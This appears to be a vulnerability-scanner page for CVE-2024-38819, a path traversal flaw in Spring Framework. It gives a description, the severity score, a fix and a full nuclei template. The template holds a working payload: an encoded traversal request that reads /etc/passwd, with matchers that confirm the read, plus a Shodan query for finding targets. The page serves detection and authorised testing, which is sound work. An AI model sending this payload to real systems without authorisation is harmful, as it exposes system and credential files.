Spring Framework Path Traversal in Functional Web Frameworks

highseverity

7.5CVSS score

56.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running. The application is vulnerable when it uses RouterFunctions to serve static resources and resource handling is explicitly configured with a FileSystemResource location. This is similar to CVE-2024-38816, but with different input. Unlike CVE-2024-38816, applications deployed on Tomcat or Jetty are also vulnerable.

Impact

Attackers can access sensitive files on the server, potentially leading to information disclosure or further system compromise.

Fix

Implement input validation and sanitize file paths, or update to the latest version of Spring Framework.

How to confirm it

Send: GET /etc/passwd
Positive when: !regex('root:.*:0:0:', body)
Send: GET /static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Positive when: regex('root:.*:0:0:', body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-38819 -u <target>

The full check

id: CVE-2024-38819

info:
  name: Spring Framework Path Traversal in Functional Web Frameworks
  author: DhiyaneshDk
  severity: high
  description: |
    Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running. The application is vulnerable when it uses RouterFunctions to serve static resources and resource handling is explicitly configured with a FileSystemResource location. This is similar to CVE-2024-38816, but with different input. Unlike CVE-2024-38816, applications deployed on Tomcat or Jetty are also vulnerable.
  impact: |
    Attackers can access sensitive files on the server, potentially leading to information disclosure or further system compromise.
  remediation: |
    Implement input validation and sanitize file paths, or update to the latest version of Spring Framework.
  reference:
    - https://spring.io/security/cve-2024-38819
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38819
    - https://github.com/masa42/CVE-2024-38819-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38819
    epss-score: 0.56463
    epss-percentile: 0.99063
    cwe-id: CWE-22
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: spring_framework
    shodan-query: http.favicon.hash:116323821
  tags: cve,cve2024,spring,lfi,vmware,vuln


flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "!regex('root:.*:0:0:', body)"
        internal: true

  - raw:
      - |
        GET /static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from